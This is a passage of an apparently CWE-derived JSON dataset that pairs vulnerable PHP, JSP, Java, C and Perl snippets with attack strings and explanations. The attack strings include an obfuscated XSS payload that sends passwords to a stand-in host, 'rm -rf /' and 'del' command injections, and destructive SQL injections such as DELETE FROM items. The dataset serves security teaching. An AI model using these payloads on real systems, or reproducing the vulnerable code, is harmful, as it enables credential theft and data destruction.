    "trustedSite.example.com/welcome.php?username=<script+type=\"text/javascript\">document.write('\\u003C\\u0064\\u0069\\u0076\\u0020\\u0069\\u0064\\u003D\\u0022\\u0073\\u0074\\u0065\\u0061\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u0022\\u003E\\u0050\\u006C\\u0065\\u0061\\u0073\\u0065\\u0020\\u004C\\u006F\\u0067\\u0069\\u006E\\u003A\\u003C\\u0066\\u006F\\u0072\\u006D\\u0020\\u006E\\u0061\\u006D\\u0065\\u003D\\u0022\\u0069\\u006E\\u0070\\u0075\\u0074\\u0022\\u0020\\u0061\\u0063\\u0074\\u0069\\u006F\\u006E\\u003D\\u0022\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F\\u002F\\u0061\\u0074\\u0074\\u0061\\u0063\\u006B\\u002E\\u0065\\u0078\\u0061\\u006D\\u0070\\u006C\\u0065\\u002E\\u0063\\u006F\\u006D\\u002F\\u0073\\u0074\\u0065\\u0061\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u002E\\u0070\\u0068\\u0070\\u0022\\u0020\\u006D\\u0065\\u0074\\u0068\\u006F\\u0064\\u003D\\u0022\\u0070\\u006F\\u0073\\u0074\\u0022\\u003E\\u0055\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D\\u0065\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D\\u0022\\u0074\\u0065\\u0078\\u0074\\u0022\\u0020\\u006E\\u0061\\u006D\\u0065\\u003D\\u0022\\u0075\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D\\u0065\\u0022\\u0020\\u002F\\u003E\\u003C\\u0062\\u0072\\u002F\\u003E\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D\\u0022\\u0070\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u006E\\u0061\\u006D\\u0065\\u003D\\u0022\\u0070\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u002F\\u003E\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D\\u0022\\u0073\\u0075\\u0062\\u006D\\u0069\\u0074\\u0022\\u0020\\u0076\\u0061\\u006C\\u0075\\u0065\\u003D\\u0022\\u004C\\u006F\\u0067\\u0069\\u006E\\u0022\\u0020\\u002F\\u003E\\u003C\\u002F\\u0066\\u006F\\u0072\\u006D\\u003E\\u003C\\u002F\\u0064\\u0069\\u0076\\u003E\\u000D');</script>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-79",
  "example_id": "1",
  "explanation": "The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such asThis results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):The same attack string could also be obfuscated as:Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs."
}
{
  "source": [
    "<% String eid = request.getParameter(\"eid\"); %>...Employee ID: <%= eid %>",
    "<%protected System.Web.UI.WebControls.TextBox Login;protected System.Web.UI.WebControls.Label EmployeeID;...EmployeeID.Text = Login.Text;%>\n<p><asp:label id=\"EmployeeID\" runat=\"server\" /></p>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "JSP"
    },
    {
      "vul_flag": 1,
      "language": "ASP.NET"
    }
  ],
  "cwe_id": "CWE-79",
  "example_id": "2",
  "explanation": "The following code displays a Reflected XSS (Type 1) scenario.The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response."
}
{
  "source": [
    "<%Statement stmt = conn.createStatement();ResultSet rs = stmt.executeQuery(\"select * from emp where id=\"+eid);if (rs != null) {rs.next();String name = rs.getString(\"name\");}%>\nEmployee Name: <%= name %>",
    "<%protected System.Web.UI.WebControls.Label EmployeeName;...string query = \"select * from emp where id=\" + eid;sda = new SqlDataAdapter(query, conn);sda.Fill(dt);string name = dt.Rows[0][\"Name\"];...EmployeeName.Text = name;%><p><asp:label id=\"EmployeeName\" runat=\"server\" /></p>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "JSP"
    },
    {
      "vul_flag": 1,
      "language": "ASP.NET"
    }
  ],
  "cwe_id": "CWE-79",
  "example_id": "3",
  "explanation": "The following code displays a Stored XSS (Type 2) scenario.The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser."
}
{
  "source": [
    "$username = mysql_real_escape_string($username);$fullName = mysql_real_escape_string($fullName);$query = sprintf('Insert Into users (username,password) Values (\"%s\",\"%s\",\"%s\")', $username, crypt($password),$fullName) ;mysql_query($query);/.../",
    "$query = 'Select * From users Where loggedIn=true';$results = mysql_query($query);\nif (!$results) {exit;}\n\n//Print list of users to page\necho '<div id=\"userlist\">Currently Active Users:';while ($row = mysql_fetch_assoc($results)) {echo '<div class=\"userNames\">'.$row['fullname'].'</div>';}echo '</div>';"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-79",
  "example_id": "4",
  "explanation": "The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.CreateUser.phpThe code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information: ListUsers.phpThe attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message."
}
{
  "source": [
    "$name = $_COOKIE[\"myname\"];$announceStr = \"$name just logged in.\";\n\n//save HTML-formatted message to file; implementation details are irrelevant for this example.\n\n\t\t\t\tsaveMessage($announceStr);",
    "<script>document.alert('Hacked');</script>",
    "<script>document.alert('Hacked');</script> has logged in."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-79",
  "example_id": "5",
  "explanation": "The following code is a simplistic message board that saves messages in HTML format and appends them to a file.  When a new user arrives in the room, it makes an announcement:An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:The raw contents of the message file would look like:For each person who visits the message page, their browser would execute the script, generating a pop-up window that says \"Hacked\". More malicious attacks are possible; see the rest of this entry."
}
{
  "source": [
    "$userName = $_POST[\"user\"];$command = 'ls -l /home/' . $userName;system($command);",
    ";rm -rf /",
    "ls -l /home/;rm -rf /"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-74",
  "example_id": "1",
  "explanation": "This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:Which would result in $command being:Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks."
}
{
  "source": [
    "my $arg = GetArgument(\"filename\");\n\t\t\t\t\tdo_listing($arg);\n\n\n\t\t\t\t\tsub do_listing {\n\n\t\t\t\t\t\tmy($fname) = @_;\n\t\t\t\t\t\tif (! validate_name($fname)) {\n\n\t\t\t\t\t\t\tprint \"Error: name is not well-formed!\\n\";\n\t\t\t\t\t\t\treturn;\n\n\t\t\t\t\t\t}\n# build command\n\t\t\t\t\t\tmy $cmd = \"/bin/ls -l $fname\";\n\t\t\t\t\t\tsystem($cmd);\n\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tsub validate_name {\n\n\t\t\t\t\t\tmy($name) = @_;\n\t\t\t\t\t\tif ($name =~ /^[\\w\\-]+$/) {\n\n\t\t\t\t\t\t\treturn(1);\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\n\t\t\t\t\t\t\treturn(0);\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}",
    "if ($name =~ /^\\w[\\w\\-]+$/) ..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-74",
  "example_id": "2",
  "explanation": "Consider the following program. It intends to perform an \"ls -l\" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and \"-\" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like \"abc\" or \"d-e-f\" are intended to be allowed. However, validate_name() alows filenames that begin with a \"-\". An adversary could supply a filename like \"-aR\", producing the \"ls -l -aR\" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories. \nThere are a couple possible mitigations for this\n\t\t\t   weakness. One would be to refactor the code to avoid\n\t\t\t   using system() altogether, instead relying on internal\n\t\t\t   functions.\nAnother option could be to add a \"--\" argument\n\t\t\t   to the ls command, such as \"ls -l --\", so that any\n\t\t\t   remaining arguments are treated as filenames, causing\n\t\t\t   any leading \"-\" to be treated as part of a filename\n\t\t\t   instead of another option.\nAnother fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as:"
}
{
  "source": [
    "int main(int argc, char** argv) {char cmd[CMD_MAX] = \"/usr/bin/cat \";strcat(cmd, argv[1]);system(cmd);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-77",
  "example_id": "1",
  "explanation": "The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form \";rm -rf /\", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120)."
}
{
  "source": [
    "...String btype = request.getParameter(\"backuptype\");String cmd = new String(\"cmd.exe /K \\\"c:\\\\util\\\\rmanDB.bat \"+btype+\"&&c:\\\\utl\\\\cleanup.bat\\\"\")\nSystem.Runtime.getRuntime().exec(cmd);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-77",
  "example_id": "2",
  "explanation": "The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form \"& del c:\\\\dbms\\\\*.*\", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well."
}
{
  "source": [
    "...String home = System.getProperty(\"APPHOME\");String cmd = home + INITCMD;java.lang.Runtime.getRuntime().exec(cmd);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-77",
  "example_id": "3",
  "explanation": "The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system."
}
{
  "source": [
    "#include <stdio.h>#include <unistd.h>\nint main(int argc, char **argv) {\n\nchar cat[] = \"cat \";char *command;size_t commandLength;\ncommandLength = strlen(cat) + strlen(argv[1]) + 1;command = (char *) malloc(commandLength);strncpy(command, cat, commandLength);strncat(command, argv[1], (commandLength - strlen(cat)) );\nsystem(command);return (0);\n}",
    "$ ./catWrapper Story.txtWhen last we left our heroes...",
    "$ ./catWrapper Story.txt; lsWhen last we left our heroes...Story.txtSensitiveFile.txtPrivateData.dba.out*"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "(informative)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-77",
  "example_id": "4",
  "explanation": "The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:Used normally, the output is simply the contents of the file requested:However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege."
}
{
  "source": [
    "$userName = $_POST[\"user\"];$command = 'ls -l /home/' . $userName;system($command);",
    ";rm -rf /",
    "ls -l /home/;rm -rf /"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-78",
  "example_id": "1",
  "explanation": "This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:Which would result in $command being:Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks."
}
{
  "source": [
    "int main(int argc, char** argv) {char cmd[CMD_MAX] = \"/usr/bin/cat \";strcat(cmd, argv[1]);system(cmd);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-78",
  "example_id": "2",
  "explanation": "The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form \";rm -rf /\", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120)."
}
{
  "source": [
    "use CGI qw(:standard);$name = param('name');$nslookup = \"/path/to/nslookup\";print header;if (open($fh, \"$nslookup $name|\")) {while (<$fh>) {print escapeHTML($_);print \"<br>\\n\";}close($fh);}",
    "cwe.mitre.org%20%3B%20/bin/ls%20-l",
    "/path/to/nslookup cwe.mitre.org ; /bin/ls -l"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-78",
  "example_id": "3",
  "explanation": "This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.Suppose an attacker provides a domain name like this:The \"%3B\" sequence decodes to the \";\" character, and the %20 decodes to a space. The open() statement would then process a string like this:As a result, the attacker executes the \"/bin/ls -l\" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server."
}
{
  "source": [
    "String script = System.getProperty(\"SCRIPTNAME\");if (script != null)System.exec(script);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-78",
  "example_id": "4",
  "explanation": "The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.If an attacker has control over this property, then they could modify the property to point to a dangerous program."
}
{
  "source": [
    "public String coordinateTransformLatLonToUTM(String coordinates){\nString utmCoords = null;try {\nString latlonCoords = coordinates;Runtime rt = Runtime.getRuntime();Process exec = rt.exec(\"cmd.exe /C latlon2utm.exe -\" + latlonCoords);\n// process results of coordinate transform\n\n\n// ...\n\n\n}catch(Exception e) {...}return utmCoords;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-78",
  "example_id": "5",
  "explanation": "In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program."
}
{
  "source": [
    "...String btype = request.getParameter(\"backuptype\");String cmd = new String(\"cmd.exe /K \\\"c:\\\\util\\\\rmanDB.bat \"+btype+\"&&c:\\\\utl\\\\cleanup.bat\\\"\")\nSystem.Runtime.getRuntime().exec(cmd);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-78",
  "example_id": "6",
  "explanation": "The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form \"& del c:\\\\dbms\\\\*.*\", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-89",
  "example_id": "1",
  "explanation": "In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code."
}
{
  "source": [
    "...string userName = ctx.getAuthenticatedUserName();string query = \"SELECT * FROM items WHERE owner = '\" + userName + \"' AND itemname = '\" + ItemName.Text + \"'\";sda = new SqlDataAdapter(query, conn);DataTable dt = new DataTable();sda.Fill(dt);...",
    "SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;",
    "name' OR 'a'='a",
    "SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';",
    "OR 'a'='a",
    "SELECT * FROM items;"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C#"
    },
    {
      "vul_flag": 0,
      "language": "(informative)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-89",
  "example_id": "2",
  "explanation": "The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.The query that this code intends to execute follows:However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:for itemName, then the query becomes the following:The addition of the:condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner."
}
{
  "source": [
    "name'; DELETE FROM items; --",
    "SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';DELETE FROM items;\n--'",
    "name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a",
    "SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';DELETE FROM items;SELECT * FROM items WHERE 'a'='a';",
    "procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)is open itm_cv for' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';end get_item;"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code) SQL"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 1,
      "language": ""
    }
  ],
  "cwe_id": "CWE-89",
  "example_id": "3",
  "explanation": "This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.If an attacker with the user name wiley enters the string:for itemName, then the query becomes the following two queries:Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.If an attacker enters the stringThen the following three valid statements will be created:One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:\n\n\nTarget fields that are not quoted\n\n\nFind ways to bypass the need for certain escaped meta-characters\n\n\nUse stored procedures to hide the injected meta-characters.\n\n\nManually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks."
}
{
  "source": [
    "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE",
    "'; exec master..xp_cmdshell 'dir' --",
    "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": ""
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-89",
  "example_id": "4",
  "explanation": "MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:Where $user_input is taken from an untrusted source.If the user provides the string:The query will take the following form:Now, this query can be broken down into:\n\n\na first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';\n\n\na second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'\n\n\nan MS SQL comment: --' ORDER BY PRICE\n\n\nAs can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment."
}
{
  "source": [
    "$id = $_COOKIE[\"mid\"];mysql_query(\"SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'\");",
    "1432' or '1' = '1",
    "SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'",
    "$id = intval($_COOKIE[\"mid\"]);mysql_query(\"SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'\");"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    },
    {
      "vul_flag": 0,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-89",
  "example_id": "5",
  "explanation": "This code intends to print a message summary given the message ID.The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:This would produce the resulting query:Not only will this retrieve message number 1432, it will retrieve all other messages.In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message."
}
{
  "source": [
    "$userKey = getUserID();$name = getUserInput();\n\n# ensure only letters, hyphens and apostrophe are allowed\n$name = allowList($name, \"^a-zA-z'-$\");$query = \"INSERT INTO last_names VALUES('$userKey', '$name')\";"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-89",
  "example_id": "6",
  "explanation": "This example attempts to take a last name provided by a user and enter it into a database.While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies \"--\" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations."
}
{
  "source": [
    "def makeNewUserDir(username):\nif invalidUsername(username):\n\n\n#avoid CWE-22 and CWE-78 \nprint('Usernames cannot contain invalid characters')return False\n\ntry:raisePrivileges()os.mkdir('/home/' + username)lowerPrivileges()\nexcept OSError:print('Unable to create new user directory for user:' + username)return False\nreturn True"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Python"
    }
  ],
  "cwe_id": "CWE-269",
  "example_id": "1",
  "explanation": "This code temporarily raises the program's privileges to allow creation of a new user folder.While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur."
}
{
  "source": [
    "seteuid(0);\n/* do some stuff */\n\nseteuid(getuid());"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-269",
  "example_id": "2",
  "explanation": "The following example demonstrates the weakness."
}
{
  "source": [
    "AccessController.doPrivileged(new PrivilegedAction() {\npublic Object run() {\n// privileged code goes here, for example:\nSystem.loadLibrary(\"awt\");return null;\n// nothing to return\n\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-269",
  "example_id": "3",
  "explanation": "The following example demonstrates the weakness."
}
{
  "source": [
    "public enum Roles {ADMIN,USER,GUEST}\npublic void printDebugInfo(User requestingUser){\nif(isAuthenticated(requestingUser)){\nswitch(requestingUser.role){\ncase GUEST:System.out.println(\"You are not authorized to perform this command\");break;\ndefault:System.out.println(currentDebugState());break;\n\n}\n}else{System.out.println(\"You must be logged in to perform this command\");}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-269",
  "example_id": "4",
  "explanation": "This code intends to allow only Administrators to print debug information about a system.While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of \"GUEST\". Someone with the role of \"ADMIN\" or \"USER\" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system."
}
{
  "source": [
